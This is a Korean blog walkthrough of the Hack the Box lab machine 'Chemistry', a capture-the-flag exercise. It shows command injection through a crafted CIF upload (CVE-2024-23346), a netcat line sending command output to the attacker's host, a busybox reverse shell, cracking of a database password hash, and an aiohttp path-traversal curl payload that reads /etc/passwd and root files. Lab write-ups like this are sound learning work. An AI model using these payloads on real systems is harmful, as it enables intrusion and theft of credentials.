워게임,CTF/Hack the box

[Hack the box] #1 Chemistry

Haemaa 2024. 11. 7. 23:51

이번엔 Hack the box라고 하는 해킹 실습 박스를 풀어볼 것이다. 
 
=================
실행환경
가상머신 : Virtualbox
OS : kali linux
=================
Virtualbox에서 파이어폭스로 핵더박스 메인 페이지에 접근한다.
 
 
실행방법은 
타쿠대디님의 블로그와 0xmh 님의 블로그를 참조했다.
https://m.blog.naver.com/takudaddy/222312131554
https://0xmh.tistory.com/4
 
무료회원은 Hack the box에 로그인 후, Machines 탭에 들어가 ACTIVE MACHINES라고 되어있는 것들만 풀 수 있다고 한다. 돈을 내고 VIP가 되어야 RETIRED MACHINES에 있는 문제들도 풀어볼 수 있다. 일단은 무료로 문제들을 풀며 감을 익혀보자. 무료지만 난이도도 EASY부터 MEDIUM, HARD, INSANE 등 여러가지다.

 
문제를 풀기전에 CONNECT TO HTB를 눌러서 vpn 연결을 해야한다.

 
VPN ACCESS와 VPN SERVER는 선택된 상태로 두고 DOWNLOAD VPN을 눌러준다.

 
그리고 받아진 vpn을 openvpn 명령어를 통해 실행시켜준다.

 
그럼 이렇게 LAB ACCESS라고 바뀔 것이다. 이제 본격적으로 문제를 풀어보자.

 
이렇게 fatal error가 뜬다면 sudo로 다시 명령어를 입력해주면 될것이다.

 

Chemistry

 
이번에 선택한 문제는 Chemistry이다. Join Machine을 누르면 Target IP를 얻을 수 있다.

 

삽질 (안 읽어도 됨, 내 기록용..)

이제 ip를 알았으니 nmap을 통해 포트 스캐닝을 해주자
처음엔 --top-ports 옵션을 이용해서 자주 사용되는 20개 포트에 대해 스캐닝을 수행했다.
포트 스캐닝 결과 22번 ssh 포트가 열려있었고 접속을 시도해보았다.
-sV 옵션을 통해 openssh 8.2p1 버전인 것을 확인했다

 
 
password를 알아야 한다.

 
다른 계정이 있나 알아보기 위해 metasploit을 사용해주자
터미널에 msfconsole을 입력하면 쉘에 접근할 수 있다.

 
search ssh_enumuser 라는 모듈을 찾았더니 1개가 검색이 되었다.

 
검색된 번호가 0번이므로 use 0 을 입력해준다
그 후 options를 이용해 어떤 인자가 필요한지 조회한다
rhosts 와 rport, threads, threshold 4개가 필수(required)라고 뜬다.

 
firefox를 켜서 username seclist github을 검색해 danielmiessler의 github을 클릭해준다.

 
그리고 top-usernames-shortlist.txt를 클릭해 해당 리스트를 복사해준다.

 
그리곤 test 폴더를 만들어 username.txt라는 텍스트 파일을 생성하고 리스트를 붙여넣기해준다.

 
그 후, set 명령어를 통해 required 필요한 인자들을 추가해주고 username.txt도 추가해준 후 run을 했으나
결과를 얻을 수 없었다.

 
 

5000포트 접근

 
ssh는 안될 것 같고 방향을 바꿔봐야 했다.
 
nmap을 통해 top ports가 아닌 전반적으로 스캔해본 결과 5000 포트가 오픈되어있는 것을 확인할 수 있었다.
5000포트가 특별한 게 있나 하고 뒤져봤지만 없어서 그냥 웹브라우저 띄워서 5000포트로 호출한 결과 웹 페이지에 접근할 수 있는 것을 알았다.
 

 
두두둥...너 이자식..역시 이런 것도 침투 테스트 문제를 많이 풀어봐야 감을 잡을 수 있나보다.
 
Register로 계정을 만들고 그 이후엔 Login 할 수 있게 된 페이지인가 보다.

 
입력하는 것도 되게 간단해서, test로 아이디 하나를 만들어서 Register를 눌렀다.

 
 
그럼 이제 여기서 진짜 문제의 의도에 도달한 느낌이 든다. Dashboard 페이지가 열리며 파일을 업로드할 수 있는 기능이 보인다. 샘플은 here에서 받을 수 있다.

 
cif 파일이 뭔 파일인진 모르겠으나 샘플을 받아서 업로드를 해보았다.

 
그럼 내가 업로드한 파일을 보거나, 삭제할 수 있게 리스팅이 된다.

 
 
클릭해보면 요로코롬 생겼다.흠..

 

리버스 쉘 연결

이 특이하게 생긴 cif 파일의 취약점을 이용해야할 것 같아서,
구글에 cif cve를 검색해서, 할만한 게 있나 알아보았다.

 
 
검색해보니 CVE-2024-23346을 이용해야할 것 같다.
vuln.cif를 파싱하면 서버에서 명령어를 실행시킬 수 있고 이 취약점을 이용해 최종적으로 리버스 쉘을 얻을 수 있는 것 같다.
vuln.cif는 검색하면 쉽게 얻을 수 있다.
 
그 vuln.cif의 하단 부분을 example.cif 밑에 붙여 넣는다.
그럼 파일의 모습이 이렇게 된다.

 
그리고 vim을 열어 touch pwned라고 적힌 부분에 실행시키고 싶은 명령어를 쳐준다.
 

uname -r|nc my_ip my_port

 
그 다음 nc 명령어로 4444 포트를 열어준다. 명령어에다가 4444라고 기입했으므로
그 후, example.cif를 저장하고 업로드한 후, View를 눌러주면, uname-r 결과가 출력되는 것을 확인할 수 있다. nc 명령어를 통해 연결이 성공했다는 뜻!
해당 서버는 5.4.0-196-generic 이라는 결과를 출력했다.

그런데 한번 nc listening으로 연결하고 결과를 출력시키면 다시 view를 누르면 결과가 전달되지 않았다. 다시 listening을 끊고 nc로 listening을 한 다음 view를 눌러야 연결되었다. 단발성으로 받아보기 때문에 어떤 리버스 쉘이 동작할지를 파악해야 하는데, 매번 vim에 들어가 수정하고..업로드하고 하기가 너무 번거로우므로 burpsuite를 켜준다.
 

 
그럼 이렇게 upload 시 패킷에서 내용을 쉽게 수정할 수 있다.

 
 
uname -r 명령어 대신 이제 실행시키고 싶은 ls ../../ 명령어를 입력했더니 결과가 잘 출력되었다.

 
리버스 쉘을 연결하고 싶었는데 nc -e 옵션도 안되고 /bin/sh 등등 갖가지를 해보았지만 안되어서 hackthebox Forum에서 의견을 숄더 해킹했다 ㅋㅋㅋ 근데 busybox nc 를 사용하면 -e 옵션이 활성화되어 있어 된다는 의견을 보고 시도해보니 되었다..!!!!! revshell.com 에서 busybox외에 /dev/tcp 나 telnet, 또는 가지각색 명령어들을 실행해봤지만 실행이 안되었다.
cat이 c*at 처럼 업로드단에서 필터링되었던 것처럼 /dev/tcp 같은 명령어도 필터링이 되는 게 아닌가 싶다. ㅠㅠ에러를 확인해볼 길이 없음..
 
연결 후 ls를 입력하니 결과를 잘 받아온다. 심지어 cat도 잘됨 /etc/passwd가 잘 읽어진다.

왜 첫 상황에선 cat이 안되었을까? 오류를 한번 보고싶었다.
리버스 쉘을 풀고 단발성 쉘을 열어 cat 명령어를 입력해주고 오류 출력 시 error.txt로 에러 내용을 저장하게 했다.

 
다음 ls로 확인해보니 error.txt가 잘 생성되었다.

 
일단 이 상황에서는 cat이 막혀있으니 head로 결과를 보면 cat이 c*at으로 전달되고 있어 에러가 나는 것 같다.

 
서버 측에서 명령어 자체를 필터링할 수 있나? 하고 처음보는 상황에 당황했다.
테스트로 ls /cat/cat/cat으로 명령어를 입력 후 다시 error2.txt 를 생성해보니

 
모든 cat 문자열이 c*at으로 변경된 것을 확인할 수 있었다. 이건 명령어가 필터링된다기 보다 업로드 구간에서 cat 문자열을 필터링하고 있는 것 같다.
 
다시 리버스 쉘로 돌아와보자.

 
이제 리버스 쉘도 연결했다. 그런데 위 사진에서 보다시피 리버스 쉘로 연결 시에는 쉘 달러표시가 없다. 어떤 오류 문제인지도 확인이 안되고 여러 제약이 있어 아래 명령어를 입력해주면 쉘 달러가 표시된다.

python3 -c "import pty;pty.spawn('/bin/bash')"

 
 

user 플래그 획득

일단 whoami를 쳐보자
app으로 연결되어 있는데
ls로 한번 이전 디렉토리로 나가보면, app 계정과 rosa계정이 있다는 것을 알 수 있다.
rosa 폴더로 들어가면 user.txt 라는 굉장히 정답스러워 보이는 txt 파일을 발견할 수 있는데, 읽기 권한 조회를 해보면 rosa만이 읽을 수가 있다. cat 시도 시 Permission denied 가 뜸.
 
물론 rosa 계정으로 su (switch user) 하려면 패스워드가 필요한데, 이 관련 파일을 찾느라 고생을 했다. 대체 어디서부터 해야할지 감이 안잡혀서.... 이것 또한 Forum을 뒤져보니 app 폴더 안에서 ls 로 조회되었던 instance 폴더로 들어가보면 database.db 파일이 존재한다. 이런걸 어떻게 알지.....Forum 참고 안했으면 엄청 삽질했을 것 같다. 이것도 많이 풀어봐야 감이 쌓이는 거겠지..?
(사진은 쉘 달러 연결하기 전에 찍은 사진..)

 
스크롤을 내리면 여기에 rosa의 패스워드 해시값이 들어있고 이걸 crackstation 넣으면 해시값을 획득할 수 있다.

su rosa 입력 후 패스워드를 넣어주면 whoami 명령어 입력 시 rosa인 것을 확인

 
그리고 이제 rosa 계정으로만 읽기 권한이 부여되어있던 rosa 폴더의 user.txt를 읽어주면 flag를 획득할 수 있다. ㅜㅠㅠㅠㅠ대박

 
제발제발

 
이렇게 Submit을 해주면 문제가 풀리고 difficulty rating을 선택할 수 있다. 전 어려움 선택함...이게 뭐가 Easy 냐구 ㅠㅠ

root 플래그 획득

이렇게 삽질을 통해 이까지 왔지만 아직 끝난 게 아니었다. Hack the box는 root flag 까지 획득해야만 최종적으로 문제가 완료된다.
 
root 플래그를 어떻게 획득할 수 있을까..고민을 해보면 아까 열려있던 22번 포트로 ssh 접근? 디렉토리 좀 더 뒤지기? 고민했는데 뭔가 root로 로그인하게 두진 않았을 것 같고 다른 취약점을 하나 더 써야할 것 같다.여기서도 Forum 참고함 ㅋㅋㅋ su root 하면 당연히 실패합니다 여러분

아래 명령어를 입력해주면 현재 서버에서 돌아가고 있는 프로세스들을 확인할 수 있다.

netstat -nap

 
확인 결과 8080 포트에서 루프백으로 서버가 돌아가고 있는 것을 확인할 수 있다. 이건 웹브라우저를 띄워서 확인할 수가 없어서 curl을 이용해서 확인해보자.

 
 

curl 127.0.0.1:8080
curl 127.0.0.1:8080 --head

 
 
--head 옵션으로 헤더 정보를 보니 aiohttp 라는 처음 보는 거의 3.9.1 버전을 사용하고 있었다.

 
침투 테스트 국룰...대상의 정보 수집 후 CVE 체크 해보기..
aiohttp 3.9.1 cve를 검색하니 Deep Dive Directory라는 취약점이 검색된다.

 
링크를 타고 들어가보니 아래 명령어를 입력하면 LFI 취약점을 이용해 내용을 긁어올 수 있는 것 같다.

curl -s --path-as-is "http://localhost:8080/디렉토리/../../../../../etc/passwd"

 
 
직접 해보니 assets를 입력안하고 ../ 만 6개 입력하면 실행이 안되고, 꼭 assets 까지 넣어줘야 값을 열람할 수 있었다. /etc/passwd가 잘 열람된다.

curl로 인해 입력했을 때 소스코드 안에 있던 assets 디렉토리를 입력해주고 root/root.txt 읽기 시도했더니 flag를 획득할 수 있었다.

 
 
드디어 최종 ROOT FLAG 까지 입력 후 Chemistry Pwned!

'워게임,CTF > Hack the box' 카테고리의 다른 글

[Hack the box] #6 UnderPass  (0) 2024.12.25
[Hack the box] #5 EvilCUPS  (0) 2024.11.30
[Hack the box] #4 Cap  (0) 2024.11.27
[Hack the box] #3 Cicada  (0) 2024.11.25
[Hack the box] #2 Sea  (0) 2024.11.16